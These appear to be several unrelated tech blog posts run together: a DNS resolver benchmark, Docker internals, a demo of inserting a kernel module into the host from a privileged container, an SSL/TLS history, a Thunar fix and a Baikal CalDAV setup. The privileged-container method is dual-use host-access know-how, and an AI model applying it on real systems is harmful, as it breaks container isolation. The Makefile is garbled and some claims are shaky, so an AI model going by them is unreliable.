And, to fight it, my brain thought, "how fast really is my DNS provider?"

No architecture diagram. No benchmarking framework. No “this is how DNS testing should be done.” In fact, I didn’t even check how DNS benchmarking is usually done in the real world.

So, I casually started coding and end up with two scripts, and honestly, the results were way more interesting than I expected.

Before you even read further, I’d actually recommend:

👉 Go through the scripts
👉 Run them yourself
👉 Then come back

Repo: https://github.com/FlareXes/fastest-dns

Because, the results depend a lot on your network, your routing, your ISP… everything.

The Idea

The idea was simple:

Take a few popular public DNS resolvers:

• Cloudflare (1.1.1.1)

• Google (8.8.8.8)

• Quad9 (9.9.9.9)

Test them in two scenarios:

• Cached DNS

• Non-cached DNS

And measure:

• Average latency

• Median latency

• P95 latency

No fancy tooling. Just Python + dig.

🛑 Check Before You Proceed (So, Don’t Skip)

Before you get excited and hit run, a few things that can completely ruin your results:

First - Make Sure Nothing Is Overriding Your DNS

If you’re using tools like: VPNs, Custom DNS clients like Portmaster, or OS-level DNS overrides.

Then there’s a good chance your DNS queries are being intercepted or rerouted.

Even if your script says:

dig @1.1.1.1 example.com

Your system might still ignore that and use something else. If that happens, your results are basically fake. You’ll think you’re benchmarking Cloudflare but you’re not.

Second - Don’t Abuse Public DNS Servers (Seriously)

Don’t go wild with queries. These are public DNS services. Don’t hammer them with insane request rates.

The script already behaves nicely:

time.sleep(random.uniform(0.5, 1.0))

Keep it reasonable. Respect the service.

Third - You Can Tweak Everything

This isn’t a rigid benchmark. It’s more like a playground. You can change pretty much everything:

SERVERS = {
    "Cloudflare": "1.1.1.1",
    "Google": "8.8.8.8",
    "Quad9": "9.9.9.9"
}

RUNS = 20

Want to:

• Add your ISP’s DNS? Go ahead.

• Increase runs to 100? Sure.

• Change delays between queries? Do it.

• Swap domains? Totally fine.

This is meant to be explored, not followed blindly.

Simple Script — Talking to DNS

Both scripts revolve around one simple idea, run dig, extract the query time.

Here’s the core piece:

def query_dns(server, domain):
    result = subprocess.run(
        ["dig", f"@{server}", domain],
        capture_output=True,
        text=True
    )
    match = re.search(r"Query time: (\d+)", result.stdout)
    return int(match.group(1)) if match else None

Second, I tracked Metrics that actually matters

1. Average (Looks Useful, Lies Sometimes)
   Add everything and divide by number of runs

   But here’s the problem:
   If one or two queries spike hard (which happens in DNS), they can pull the average up significantly. So you might think: “This DNS is slow”.

   When actually: 90% of queries were fast and 2 were just unlucky.

2. Median (What You Actually Experience Most of the Time)
   It ignores extreme spikes. So if you want to know, what users usually experience how stable the resolver is.

3. P95 (Worst Case)
   It tells you: “What do the slowest 5% of queries look like?”

Phase One — Cached DNS

I started with cached DNS.

The idea here is simple: query the same domain repeatedly and let the resolver cache do its job.

Here’s the key part of the script :

# Warm-up queries
for _ in range(3):
    query_dns(ip, DOMAIN)

Why Warm-Up Matters

This primes the cache.

Without it:

• First few queries would be slower (cold start)

• Results would be inconsistent

After warm-up, every query hits cached data.

Second Phase — Non-Cached DNS

You cannot force public DNS resolvers to skip cache. So, I forced DNS resolver to miss the cache by generates a new long domain every time.

def random_domain():
    name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=12))
    return f"{name}.com"

• These domains are almost guaranteed to not exist

• no cached answer exists

• The resolver has to do full DNS resolution

It’s a bit hacky but it works surprisingly well.

Now the resolver has to actually do its job:

1. Ask root servers

2. Ask .com TLD servers

3. Ask authoritative servers

Each step adds: Network hops, Latency, Variability.

One thing I almost ignored, I added random delays between queries to:

• prevent artificial bursts

• avoid hammering servers

time.sleep(random.uniform(0.5, 1.0))

Final Thoughts

I don't any for this one, thanks for the reading.

Have you wondered why the Docker CLI sometimes works as docker ps, sometimes needing sudo?

Docker is not a tiny VM. It is not a mini operating system. It is just a executable binary which sends requests to a root-owned daemon (dockerd), which then speaks to the Linux kernel on your behalf. The whole thing is faster than a VM because it reuses the host kernel instead of booting a separate one. That one fact explains a huge amount of Docker behavior.

Let’s build the mental model from the bottom up.

A quick proof that the kernel is shared

Before we go deeper into Docker internals, we need to establish one key fact:

Containers share the host kernel.

I’ve already covered this in detail with multiple hands-on PoCs (including kernel modules) in Part 1:

👉 Modify the Host Kernel from a Docker Container

So instead of repeating everything, here’s a quick summary of what we observed:

• Same boot ID
  /proc/sys/kernel/random/boot_id is identical on host and container

• Same kernel version
  Even with different distros (Ubuntu host + Arch container), uname -r matches

• Same kernel logs
  dmesg shows identical kernel buffer output

• Kernel modification from container
  A privileged container can load a kernel module and the host immediately reflects it

These progressively demonstrate that containers are not running their own kernel. They are operating directly on the host kernel.

If you want the full step-by-step breakdown (with code, compilation, and kernel-level demos), check out Part 1:

👉 Modify the Host Kernel from a Docker Container

If you prefer seeing this live instead of just reading logs:

Here’s a full walkthrough of the exact setup, compilation, and kernel behavior from inside the container.

https://www.youtube.com/watch?v=lfA4surFhCM

What docker ps actually does

Now that we know containers share the kernel, the next question becomes: how do Docker commands actually reach and control it?

When you run: docker ps

the Docker CLI does not inspect containers directly. It talks to a daemon.

The CLI is basically a client. The daemon, dockerd, is the server.

The path looks like this:

docker CLI -> Unix socket -> dockerd -> containerd -> runc -> Linux kernel

Docker is not a giant monolith doing everything itself. It is more like a dispatcher.

A nice mental model is this:

• docker CLI = the remote control

• dockerd = the receptionist

• containerd = the operations manager

• runc = the one that actually sets up the container process

• Linux kernel = the stage on which the whole play happens

Tracing the socket connection with strace

This is where the topic becomes fun.

In my own traces, strace -f -e trace=network docker ps showed the CLI creating a Unix socket and connecting to /var/run/docker.sock, then the daemon side accepted the connection. The Docker service status also showed TriggeredBy: docker.socket, and dockerd was launched with -H fd:// --containerd=/run/containerd/containerd.sock, which matches the systemd socket-activation setup perfectly.

The key line from the client side (refer above image) looked like this:

socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
connect(3, {sa_family=AF_UNIX, sun_path="/var/run/docker.sock"}, 23) = 0

That tells you several important things:

• it is a Unix domain socket

• it is local IPC, not TCP

• the CLI connects to Docker through /var/run/docker.sock

On the daemon side, attaching strace to dockerd showed:

accept4(5, {sa_family=AF_UNIX}, [112 => 2], SOCK_CLOEXEC|SOCK_NONBLOCK) = 18
getsockname(18, {sa_family=AF_UNIX, sun_path="/run/docker.sock"}, [112 => 19]) = 0

That is the server accepting the client connection.

So now we have both ends of the story:

docker CLI  ->  connect()
dockerd     ->  accept()

That is not theory. That is the actual syscall trail.

What is Docker’s socket really doing?

/run/docker.sock is a Unix socket, not a file you read like a log. It is a local communication endpoint. The Docker CLI opens a connection to it, sends HTTP requests over it, and gets responses back.

Yes, HTTP over a Unix socket. A little weird, but very effective.

You can even bypass the CLI and talk directly to the daemon:

curl --unix-socket /run/docker.sock http://localhost/containers/json

That will return the same kind of JSON the CLI uses internally.

That one command teaches a lot:

• Docker CLI is just a client

• dockerd exposes an API

• the API lives on a Unix socket

• the CLI is not “doing container work” itself

Docker is, in a sense, an HTTP API with a very friendly command-line face.

SystemD socket activation for DockerD

You may have seen something like this in systemctl status docker.service:

TriggeredBy: ● docker.socket

That means systemd is managing the socket and can start docker.service when there is activity on it.

The status also often shows dockerd started like this:

/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock

That fd:// part means dockerd receives an already-open file descriptor from systemd instead of creating the socket from scratch.

The flow is:

systemd creates /run/docker.sock
docker CLI connects
systemd starts dockerd
systemd passes the socket FD to dockerd
dockerd accepts and serves the request

One important correction: systemd does not “proxy” the API traffic. It listens on the socket, starts the service when needed, and hands the socket over. After that, dockerd handles communication directly.

How does Docker communicate root-owned services (DockerD, ContainerD, etc...)?

This is where sudo and permissions become interesting.

The Docker daemon usually runs as root. That is because it needs root privileges to create namespaces, mount filesystems, set cgroups, manipulate networking, and start processes correctly.

The client, however, is just a user-space program. It needs permission to talk to the socket.

That means there are two common ways to use Docker:

• run docker with sudo

• add your user to the docker group

If your user can access /run/docker.sock, your user can command the daemon. That is a very big deal.

A subtle but important security lesson: access to the Docker socket is almost equivalent to root on the host. If you can tell a root-owned daemon what to do, you can usually make it do root-level things. That is why the docker group is not “just another group.”

A safe mental model:

your user -> docker CLI -> root-owned dockerd -> kernel

The CLI is not the power. The socket is the power.

Why the daemon needs containerd and runc

Docker used to feel like one big thing. Internally, it is more modular now.

The current mental chain is:

docker CLI
  -> dockerd
    -> containerd
      -> runc
        -> Linux kernel

What each component does:

• docker CLI: sends requests

• dockerd: manages the Docker API and container lifecycle

• containerd: container lifecycle and orchestration backend

• runc: low-level OCI runtime that creates the actual container process

• kernel: namespaces, cgroups, mounts, networking

This split is why Docker integrates well with other systems. It also explains why the daemon is not doing everything itself.

Common misconceptions worth killing politely

Why this matters in real life

If you debug containers, build platforms, secure hosts, or run production workloads, you need this mental model.

It helps you understand:

• why Docker works without a VM

• why a container can still hurt the host if misconfigured

• why docker.sock is sensitive

• why --privileged is dangerous

• why systemd, namespaces, cgroups, and the kernel all matter together

In other words, this is the difference between “I use Docker” and “I understand Docker.”

If I had to reduce the whole article to one diagram, it would be this:

User
  |
  v
docker CLI
  |
  v
/run/docker.sock
  |
  v
dockerd
  |
  v
containerd    >>>>> Not Covered
  |
  v
runc          >>>>> Not Covered
  |
  v
Linux kernel
  |
  +--> namespaces
  +--> cgroups
  +--> mounts
  +--> networking

🎥 Want to go deeper?

If you found this useful, I’ve also put together a full video walkthrough covering everything step by step, including tracing Docker commands with strace and understanding the CLI → daemon → kernel flow.

https://www.youtube.com/watch?v=lfA4surFhCM

Key takeaways

• Docker containers share the host kernel.

• The Docker CLI talks to dockerd over /run/docker.sock.

• strace can show the actual connect() and accept() syscalls.

• systemd socket activation can start Docker through docker.socket.

• dockerd delegates real container work to containerd and runc.

• Access to docker.sock is effectively high privilege.

• --privileged containers can do very dangerous things because they can reach deep into the shared kernel.

Thanks for reading.

Yes — and we can prove it hands-on.

This was actually a random thought. I didn’t research existing proofs or blog posts because I wanted to reason from first principles using my understanding of Linux and Docker. Heck, I don’t even know if there are any. So, there may be more sophisticated PoCs out there, but this one is based purely on Linux and Docker fundamentals I know. So anyone with basic CLI knowledge can follow along.

Why is Docker Faster than Virtual Machines?

Lame question for this topic. I know but I got commentators to cover.
But let’s cover the basics in five lines for anyone wondering why we’re even here.

Here’s my least-effort explanation:
The short answer is Docker shares the kernel of the host system.

Docker containers do not boot their own operating system. They do not run their own kernel. They are simply isolated processes running on the host’s kernel.

That’s the core idea.

Now let’s prove it in four different ways.

1. Observational Proof: Identical Boot ID

Every time a Linux system boots, it generates a unique boot ID. You can find it here: /proc/sys/kernel/random/boot_id. So, if a container truly shares the host kernel, both should show the same boot ID.

And, yep! that is the case.

Host Machine:

cat /proc/sys/kernel/random/boot_id

Docker Container:

docker run --rm archlinux:latest cat /proc/sys/kernel/random/boot_id

As shown in below screenshot they both share the same boot ID.

This was easy mode. However, it does not strictly guarantee it. For example, alternative container runtimes like gVisor can virtualize certain kernel interfaces and potentially invalidate this test or PoC.

2. Cross-Distribution Check: Same Running Kernel Version

This one is actually real good. I’m going to use two different Linux flavors just to make the contrast obvious.

Like Such:

• Host system = Ubuntu

• Container = Arch Linux

You can swap them however you like the distro choice doesn’t matter.

Logic is simple: since both resources allegedly share same kernel then they must show the same Linux kernel version even though they’re different operating systems.

If you’ve fiddled around with different Linux distros, you probably know that each distro typically has its own kernel build format. If Arch were running its own kernel, you’d expect something like:

~ uname -r
6.18.x-arch1-2   # Arch Linux Kernel Version Format

But instead, you see the Ubuntu kernel version.

But Is This Enough? Not really. This only proves both environments report the same kernel version. Doesn’t mean they’re literally share the same kernel.

“What if Docker somehow copies the host kernel into the container?”

That would still result in the same version number without necessarily sharing the same running kernel instance. So again — strong evidence. But not really.

3. Runtime Evidence: Shared Kernel Log Buffer

Now we’re getting serious. Because if Docker shares the same kernel instance, then both environments must share the same kernel log buffer. That means dmesg output should be exactly the same.

By default, containers cannot access kernel logs. So we must tell docker to grant permission.

Start Container With SYSLOG Capability

docker run --rm --cap-add SYSLOG ubuntu:latest bash -c "dmesg | tail -20"

You could also use --privileged instead of --cap-add SYSLOG, but that grants far more access than we need.

See, the logs are not just similar — they are identical. This is a very strong evidence.

Could This Still Be Fake? Theoretically, one might argue:

“What if Docker is exposing /dev/kmsg to containers?”

Even in that case, the container would still be reading the host’s live kernel message buffer which means there is no separate kernel instance running inside the container.

If you really wanted to push this further, you could even compare checksums of the full dmesg output from host and container. But at that point, we’re just mathematically proving what’s already practically obvious.

But we’re not stopping here.

Time for final boss.

4. Definitive Proof: Mutating the Kernel from Inside a Container

Let’s go for the head of the guy who’s so skeptical that he thinks Docker has nothing better to do than lie to people.

Login is simple: modifying the kernel from inside the container should affect the host.

So let’s test exactly that. We’ll insert a kernel module from inside the container and observe its effect on the host.

I’ll go with a good old simple “Hello World” kernel module that prints something into the kernel log buffer. Just enough to prove a point. You could take this further and experiment with things like modifying the network stack, blocking traffic, or other kernel-level changes.

We’ll need a bit more configuration for this step.

Start a Privileged Container With Module Access

docker run -it --privileged \
-v /lib/modules:/lib/modules \
-v /usr/src:/usr/src \
ubuntu:latest /bin/bash

Why mount /lib/modules and /usr/src?

• /lib/modules contains kernel modules for the running kernel.

• /usr/src contains kernel headers required to compile modules.

• We mount them so the container can compile modules against the host kernel.

Without this, module compilation would fail.

Install required tools inside the container

apt update && apt install nano kmod build-essential linux-headers-$(uname -r)

Create a filename hello_kernel.c and paste below code.

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");

static int __init hello_init(void)
{
    printk(KERN_INFO "[hello_kernel] Hello, kernel world!\n");
    return 0;
}

static void __exit hello_exit(void)
{
    printk(KERN_INFO "[hello_kernel] Goodbye, kernel world!\n");
}

module_init(hello_init);
module_exit(hello_exit);

The above code prints “[hello_kernel] Hello, kernel world!” into the kernel log buffer when the module is inserted, and prints “[hello_kernel] Goodbye, kernel world!” when the module is removed.

Create a filename Makefile in the same directory and paste below code.

obj-m += hello_kernel.o

all:
	make -C /lib/modules/\((shell uname -r)/build M=\)(PWD) modules

clean:
	make -C /lib/modules/\((shell uname -r)/build M=\)(PWD) clean

Once that is done. Let’s compile them inside container with below make command.

make

The “make“ command will produce multiple files we only care about hello_kernel.ko. It’s kernel object file.

Let’s insert the module in the kernel and as soon as I do that, it would print “[hello_kernel] Hello, kernel world!“ in kernel’s log buffer.

insmod hello_kernel.ko

Now run dmesg on host system and inside container you would see both places hello message printed as show in the screenshot.

To see goodbye message remove the module from container with below command.

rmmod hello_kernel

Voila! we modified Linux kernel from container which proves that Docker containers share the kernel of the host system.

But the more interesting part is:

Since the host and Docker container are sharing the same kernel, the module we inserted from inside the container is visible on the host system as well.

Which means we can remove the module from the host system too, and that change will immediately reflect inside the Docker container also.

Because again — there is only one kernel.

On Host System:

lsmod | grep hello_kernel

rmmod hello_kernel

dmesg | tail -5

Bye Bye!

There are may be cleaner, more formal, or more academically rigorous demonstrations out there and if you know one, I’d genuinely like to see it. This was simply a practical exploration based on how Linux works and how Docker is designed.

But from an engineering standpoint, after inserting a kernel module from inside a container and seeing it reflected instantly on the host, there isn’t much ambiguity left.

Docker doesn’t emulate a kernel. It doesn’t clone one. It shares one.

If you enjoy breaking systems apart and understanding what’s actually happening underneath the abstraction layer, you might also find these interesting:

• Hacking Discord: Why Does Session Hijacking Exist & How it Works?

• Most Viewed: Hyprland Getting-Started: Configure Screen Lock, Authentication and More.

Thanks For Your Time.

🎥 Watch the walkthrough

If you want to see everything from kernel modules to Docker internals in action, I recorded a full step-by-step video.

https://www.youtube.com/watch?v=lfA4surFhCM

TLS (Transport Layer Security) is the direct successor to SSL. Yep! SSL was deprecated years ago, and TLS is simply its modern/upgraded version. That’s why people still use the terms SSL and TLS interchangeably, even though we only use TLS today.

HTTPS was first introduced in 1994 by Netscape with SSL, years before it was formally standardized by the IETF in RFC 2818 (2000). We’ll explore these interesting facts in detail as we progress in the blog post.

By the way, if you want to go deeper into HTTP how it really works, the lesser-known facts, how it evolved, and how attackers exploit it I recommend reading these posts:

• A Comprehensive Guide to the Web's Core Protocol, HTTP for Hacker & Developers

• Why Does Session Hijacking Exist & How it Works? - Cookies vs. HTTP Headers

Netscape: A Story Worth Knowing

Netscape itself is a story worth knowing. Founded in 1994 as Netscape Communications Corporation, has arguably contributed more to the early web than any other organization of its time.

They didn’t just build software. They defined the web:

• The first dominant web browser, Netscape Navigator

• JavaScript, created in days but changed the internet forever

• HTTP cookies, which still power authentication and sessions today

• SSL, which laid the groundwork for HTTPS

But then, why have we never heard of Netscape?

Netscape Downfall

Despite their technical leadership, Netscape declined rapidly. They lost in distribution.

Microsoft bundled Internet Explorer directly into Microsoft Windows, using operating system dominance to crush browser competition.

That single move reshaped the web, killed Netscape as a company, and triggered one of the most famous antitrust battles in tech history.

Irony:
Netscape died, but almost everything they created still runs the modern web.

If Netscape hadn’t existed, the internet you use today would look very different.

The Evolution of SSL

Netscape introduced SSL in 1994 as a way to secure HTTP traffic on the early web.

SSL evolved rapidly in its early years:

• SSL 1.0 – 1994

• SSL 2.0 – 1995

• SSL 3.0 – 1996

SSL was initially kept proprietary to give Netscape a competitive advantage in the browser market.

SSL 1.0: The Unreleased Prototype

SSL 1.0 was never publicly released. It existed only as an internal prototype at Netscape.

Because SSL 1.0 never shipped, we do not know its exact flaws. What we have today is informed speculation based on later protocol analysis and the state of cryptography at the time.

Most analyses suggest that SSL 1.0 suffered from fundamental design issues that made it unsuitable for real-world deployment, including:

• Weak authenticated handshake

• Poor message integrity guarantees

• No standardized constructions such as HMAC, which did not yet exist

• The absence of a mature, widely deployed web PKI

• Limited understanding of secure protocol composition at the time

On top of that, US cryptography export restrictions heavily influenced early SSL design. These regulations forced the use of weak key sizes, added unnecessary complexity, and increased the overall risk of subtle security failures.

SSL 2.0: Public Debut and Limitations

SSL 2.0 was the first version of SSL deployed on the public internet. This version introduced the idea of a cryptographic handshake before any application data is sent, meaning the client and server agree on encryption parameters first, then use those negotiated keys to protect traffic.

SSL 2.0 supported multiple cipher suites (like RC4-MD5, DES-CBC-MD5, etc.) and RSA as the only key exchange protocol.

At a high level, SSL 2.0 introduced the core ideas that still exist in modern TLS:

• A handshake phase that precedes encrypted communication

• Negotiation of cryptographic algorithms via cipher suites

• Use of X.509 certificates to distribute the server’s public key

• Derivation of a shared session key used to encrypt application data

What SSL 2.0 Lacked?

Despite being the first SSL version deployed in the real world, SSL 2.0 was fundamentally flawed by design.

1. One major weakness was its reliance on MD5 for message integrity. In 1996, MD5 was publicly flagged as vulnerable to collision attacks. That alone made SSL 2.0 fragile.

2. More critically, SSL 2.0 did not cryptographically bind all handshake messages to the session key. This allowed attackers to modify handshake parameters or force protocol and cipher downgrades without detection. This class of attacks became one of SSL 2.0’s most serious structural failures and was explicitly fixed in SSL 3.0.

In 2011, SSL 2.0 was officially deprecated. That same year, RFC 6176, published by the IEFT (Internet Engineering Task Force), formally prohibited the use of SSL 2.0 due to its well-documented security deficiencies.

SSL 3.0: Improvements and Challenges

SSL 3.0 became the widely adopted standard for secure web communication and fixed the most serious design flaws of SSL 2.0.

Its most important improvement was cryptographic binding of handshake messages. Both client and server could verify that negotiation parameters were not altered in transit, eliminating entire classes of downgrade and man-in-the-middle attacks that plagued earlier versions.

Enhancements in Security

SSL 3.0 first performed a handshake to authenticate the server using X.509 certificates and negotiate cryptographic parameters. After key exchange, all application data was protected using:

• Symmetric encryption for confidentiality

• A MAC for message integrity

Each record included sequence numbers and protocol metadata, preventing silent modification, replay, and truncation attacks that were possible in SSL 2.0.

The POODLE Attack and Its Impact

POODLE Happened. Stands for Padding Oracle On Downgraded Legacy Encryption.

Modern browsers supported TLS, but for backward compatibility they would fallback to SSL 3.0 if the handshake failed.

This attack against SSL 3.0 was disclosed in 2014. POODLE exploited a fundamental weakness in SSL 3.0’s CBC padding scheme, allowing attackers, under specific conditions, to recover sensitive data such as authentication cookies.

It looked something like this 👇

SSL 3.0 uses CBC mode encryption with weak padding validation.
An attacker who can sit between the client and server can:

1. Force a downgrade from TLS to SSL 3.0

2. Manipulate encrypted traffic block by block

3. Use padding errors as an oracle

4. Recover sensitive data, typically HTTPS cookies

One byte at a time. Slowly. But reliably.

Transition to TLS

In 1998, AOL acquired Netscape Communications for about $4.2 billion. By then, it was clear that Netscape was losing the browser war to Microsoft.

At the same time, the internet was rapidly becoming a platform for online payments, authentication, and sensitive data exchange. A proprietary, vendor-controlled security protocol was not viable for something this fundamental.

TLS 1.0: Building on SSL 3.0

As a result, Netscape made the strategic decision to open SSL to public and transfer its responsibility to the IEFT (Internet Engineering Task Force). This ensured the protocol could evolve as a vendor-neutral, openly reviewed internet standard. Under the IETF, SSL 3.0 was refined and standardized as TLS 1.0, published in 1999, marking the transition from a company-controlled protocol to core internet infrastructure.

At its core, TLS 1.0 was essentially SSL 3.1, introducing only incremental changes rather than a complete redesign. Once SSL transitioned into an open, public standard for securing the web, it was published by the IEFT as RFC 2246.

I believe the IETF’s first major move, renaming the protocol, was the right decision. Transport Layer Security is a far better acronym than Secure Sockets Layer. It also helped avoid potential legal and branding issues tied to Netscape’s ownership of SSL. That said, this is just my personal take.

IETF did some cryptographic cleanup, such as:

• TLS 1.0 replaced SSL 3.0’s custom MAC construction with HMAC, which was already a standard.

• The PRF was redesigned to combine MD5 and SHA-1, avoiding reliance on a single hash.

• SSL 3.0 unsafe behaviors, such as silent fallback to weaker parameters, were discouraged.

• Extensions were introduced via RFC 3546, which became the backbone of every modern TLS feature.

• TLS 1.0 also improved upon certificate handling and alert semantics. To reduce implementation bugs and interoperability failures, which were common in SSL deployments.

TLS 1.0 was officially deprecated by the IEFT in RFC 8996 (2021). Attacks such as BEAST exposed weaknesses in CBC-mode encryption. While mitigations existed but TLS 1.0 still depended on SHA-1 and MD5, which became unacceptable as those algorithms weakened over time. As security standards evolved, compliance frameworks like PCI DSS began prohibiting TLS 1.0 because it no longer met modern security expectations.

TLS 1.1: Addressing Known Issues

TLS 1.1 was published in 2006 as RFC 4346. To mainly fix the known flaws in TLS 1.0, especially CBC IV handling.

In TLS 1.0, the IV for a record depended on the previous record, which opened the door to several practical cryptographic attacks. TLS 1.1 fixed this by introducing a fresh, random IV per record, a meaningful improvement for CBC-based ciphers.

TLS 1.1 also improved error handling and alert behavior. It reduced ambiguity by providing more precise specifications for these behaviors.

It's believed that version 1.1 arrived too late and changed too little to stay relevant, leading to its eventual deprecation. I'm not sure about this because I still see a few websites using it, even Google. However, we can certainly argue about the numbers comparatively.

TLS 1.1 gave an important lesson: incremental fixes could not indefinitely patch an aging cryptographic design. It directly reflected in the decision to redesign key aspects of TLS in version 1.2 and radically simplify the protocol in TLS 1.3.

Lessons Learned and Deprecation

Despite these improvements, TLS 1.1 still used some older cryptographic methods, like MD5 and SHA-1, in certain setups. Just like TLS 1.0, it didn't require forward secrecy, and many real-world setups kept using static RSA key exchange.

Isn't it fascinating how TLS 1.1 continued to use complex cipher suite negotiation and CBC-based encryption as standard? This made the protocol fragile and tricky to implement securely. This complexity led to its deprecation by the IETF in RFC 8996 in 2021.

TLS 1.2: A Major Cryptographic Upgrade

Just after two years from TLS 1.1 release, TLS 1.2 was published in 2008 as RFC 5246, of course by IETF.

Unlike TLS 1.1, TLS 1.2 was not a small patch. It was a substantial cryptographic upgrade designed to fix long-standing weaknesses in earlier TLS versions while keeping the same overall protocol structure. So, it was like SSLv3.3.

The most important change in TLS 1.2 was algorithm agility. TLS 1.2 decoupled the protocol from fixed hash functions, allowing the use of stronger hashes such as SHA-256 (today’s standard) and SHA-384 instead of MD5 and SHA-1.

TLS 1.2 also introduced support for AEAD cipher suites (such as AES-GCM). AEAD (Authenticated Encryption with Associated Data) cipher suites provide both confidentiality and authenticity for data, ensuring that the encrypted message cannot be tampered with. This destroyed the complexity and fragility of CBC-based encryption used in earlier versions. Hurry!!! because we stuck to it in TLS 1.3.

Another major improvement was explicit signature algorithm negotiation. Clients and servers could now agree on which signature algorithms to use, instead of relying on implicit or hard-coded choices.

TLS 1.2 also made forward secrecy practical. While not mandatory, the widespread use of ephemeral Diffie-Hellman (DHE and ECDHE) became common with TLS 1.2.

Why we moved to TLS 1.3?

TLS 1.2 is still not depcreted and widely adopted protocol. Remember, I mention previous that we can’t stick to incremental fixes we need to move on from TLS backwared compatbility.

Such as: TLS 1.2 still allowed legacy and weak cipher suites for backward compatibility.

TLS 1.2 itself is not fundamentally broken. Most attacks associated with TLS 1.2 targeted bad configurations, weak ciphers, or older modes of operation rather than the core protocol.

However, to mitigate downgrade attacks extensions like TLS_FALLBACK_SCSV were introduced, which mitigated forced downgrade attempts.

Finally, a key historical fact is that TLS 1.2 became the dominant secure transport protocol on the internet for over a decade. It powered HTTPS, APIs, VPNs, email transport, and enterprise systems worldwide.

Even today, TLS 1.2 remains widely deployed, though it is increasingly being replaced by TLS 1.3.

TLS 1.3: A New Era of Security

Almost after 10 years, TLS 1.3 was published in 2018 as RFC 8446 by the Internet Engineering Task Force.

This was big leap from previous SSL and TLS versions. Stright up, TLS 1.3 intentionally removed legacy features rather than trying to make them safe. It was not an incremental update. It was a ground-up simplification and hardening of the TLS protocol, designed after two decades of operational experience and real-world attacks.

What TLS 1.3 introduced?

• TLS 1.3 is a dramatically simplified handshake. A full handshake now completes in one round trip (1-RTT) instead of two.

• TLS 1.3 mandates forward secrecy. All key exchanges must use ephemeral Diffie-Hellman (DHE or ECDHE). Static RSA key exchange was completely removed.

• TLS 1.3 encrypts certificates and most negotiation metadata, reducing information leakage and making traffic analysis harder. In earlier TLS versions, handshake messages were sent in plaintext.

• TLS 1.3 also removed cipher suite complexity. Only AEAD ciphers (such as AES-GCM and ChaCha20-Poly1305) are allowed. CBC mode, RC4, and legacy constructions were removed entirely.

With mandatory forward secrecy, encrypted handshakes, and strong integrity protection, TLS 1.3 provides confidentiality, integrity, authentication, and resistance to downgrade attacks by design. As a fact, TLS 1.3, because the most secure implementation of TLS till this date.

TLS 1.3 has no known protocol-level break as of today.

Except: 0-RTT

0-RTT (Zero Round-Trip Time) was introduced in TLS 1.3 to reduce latency on resumed connections.

0-RTT data is encrypted using resumption keys, not fresh handshake keys. The same encrypted 0-RTT payload can be captured and replayed by an attacker.

The server has no cryptographic proof that:

• This is the first time it sees the data

• The client is not reusing the same ticket elsewhere

So, TLS 1.3 made this deliberate tradeoff optional.

That is why the RFC explicitly warns you to only use 0-RTT for Idempotent Operations.

Safe examples:

• GET /index.html

• GET /api/status

• Cache warmups

• Telemetry reads

Dangerous examples:

• POST /transfer $100

• DELETE /user/42

• POST /login

• Any action with side effects

Adoption and impact

A key fact is that TLS 1.3 was rapidly adopted by major browsers, CDNs, and cloud providers. Today, it protects a significant portion of HTTPS traffic on the internet.

TLS 1.3 did not replace TLS 1.2 because 1.2 was broken. It replaced it because simpler, safer, and faster was finally achievable.

Finally Thoughts

Thank you for reading and following this series. I tried my best to turn SSL and TLS into a story rather than a technical spec, so it’s easier to digest and hopefully enjoyable.

The internet we use today exists because of many people and institutions. Some did their job and stepped aside (thanks to Netscape Communications Corporation). Others are still quietly doing the hard work of keeping the internet secure (thanks to Internet Engineering Task Force).

If this helped you understand even a small part of how secure communication evolved, then it did what it was meant to do.

I Hope, You Have a Really Nice Day 👋

Quick Fix

Just install the following:

sudo pacman -S gvfs xdg-user-dirs

• gvfs: Lets you do things like move files to the trash, access network shares, and mount USB drives easily in your file manager. In most cases, this alone solves the issue.

• xdg-user-dirs: Creates standard folders like "Documents", "Downloads", "Pictures", etc., in your home directory, according to the XDG (Freedesktop.org) specifications.

How I Debugged It

When I first switched to Hyprland, I hit this problem. Searching online didn’t help, so I tried installing Nautilus (GNOME’s file manager) just to test.

To my surprise, not only did Nautilus work - it also fixed Thunar. That was the clue.

To dig deeper I checked Nautilus' dependencies:

❯ pacman -Si nautilus                                                                                                             20:35 
Repository      : extra
Name            : nautilus
...

Depends On      : ...  gvfs  ...  xdg-user-dirs-gtk  ...

...
Download Size   : 2.39 MiB
Installed Size  : 13.59 MiB
Validated By    : SHA-256 Sum  Signature

With the help AI explanation on dependencies, among the many packages, two stood out. That's what Nautilus was pulling gvfs and xdg-user-dirs, which Thunar quietly relies on but doesn't require by default.

Takeaway

If you’re using Thunar in Hyprland (or any barebones WM) and the sidebar looks empty:

1. Install gvfs (and optionally xdg-user-dirs).

2. Restart Thunar.

3. Enjoy your standard folders and USB drives showing up again.

Hopefully this saves you from the same rabbit hole I went down. Minimal WMs are powerful, but they don’t hold your hand — sometimes you need to add the missing plumbing yourself.

I'm grateful you took the time to read what I've shared. Until next time — FlareXes

Further Reading

If you’re exploring Hyprland further, you might also enjoy my step-by-step guide on configuring essentials like screen lock, brightness, and authentication.

If you want complete ownership of your data to safeguard personal information or business secrets, self-hosting a calendar application is a good solution.

To get started with self-hosting a CalDAV server, you'll need Baikal (a lightweight CalDAV server) and Docker to run it locally. You can find Docker installation instructions on the official Docker documentation and explore Docker Desktop for a user-friendly GUI option.

What is CalDAV?

CalDAV is a standardized protocol to manage and synchronize calendar events across multiple devices. CalDAV works as a client-server architecture between a calendar client (like Morgen, Thunderbird, or Apple Calendar) and a calendar server (like Baikal). The server stores calendar data, while the client syncs with the server to fetch updates and manage appointments. When you add, delete, or update events on a CalDAV-compatible client like Morgen, these changes are sent to the server and reflected across all synced devices.

We'll use Baikal, a lightweight open-source CalDAV and CardDAV server. However, if you or your organization already self-host services like Nextcloud or ownCloud, check whether they have built-in CalDAV support. These platforms often include this feature, eliminating the need for an extra service like Baikal.

Setting Up a CalDAV Server

Setting up a CalDAV server might sound complicated, but trust me it's easier than you think, especially for personal use cases where you can run it locally using Docker. But first, double-check that Docker is installed on your system.

We'll use the lightweight Nginx variant instead of Apache since it's less than half the size. Lean and efficient, just how we like it.

Start Baikal

docker run --rm -it -p 80:80 ckulka/baikal:nginx

